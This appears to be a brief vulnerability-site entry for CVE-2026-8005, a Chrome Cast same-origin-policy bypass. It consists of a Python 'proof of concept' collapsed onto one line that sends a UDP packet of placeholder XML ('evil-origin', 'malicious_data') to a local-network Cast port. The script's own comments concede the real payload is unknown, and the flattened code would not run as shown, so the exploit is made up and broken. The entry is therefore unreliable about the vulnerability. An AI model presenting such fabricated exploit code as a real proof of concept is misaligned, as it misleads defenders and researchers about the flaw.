CVE-2026-8005 Google Chrome Cast同源策略绕过漏洞

import socket # Conceptual PoC for CVE-2026-8005 # This script simulates sending malicious traffic to the Chrome Cast service # to attempt bypassing Same-Origin Policy. def send_malicious_cast_packet(target_ip, target_port): # Malicious payload constructed to trigger input validation bypass # Note: Actual payload structure depends on Chromium Cast protocol specifics payload = b"<cast-message><protocol-version>1.0</protocol-version><source-id>evil-origin</source-id><payload>malicious_data</payload></cast-message>" try: # Create a UDP socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) # Send payload to the target on the local network sock.sendto(payload, (target_ip, target_port)) print(f"[+] Payload sent to {target_ip}:{target_port}") sock.close() except Exception as e: print(f"[-] Error sending packet: {e}") if __name__ == "__main__": # Example usage: Target must be on the same local network segment target = "192.168.1.10" port = 8008 # Default Cast port send_malicious_cast_packet(target, port)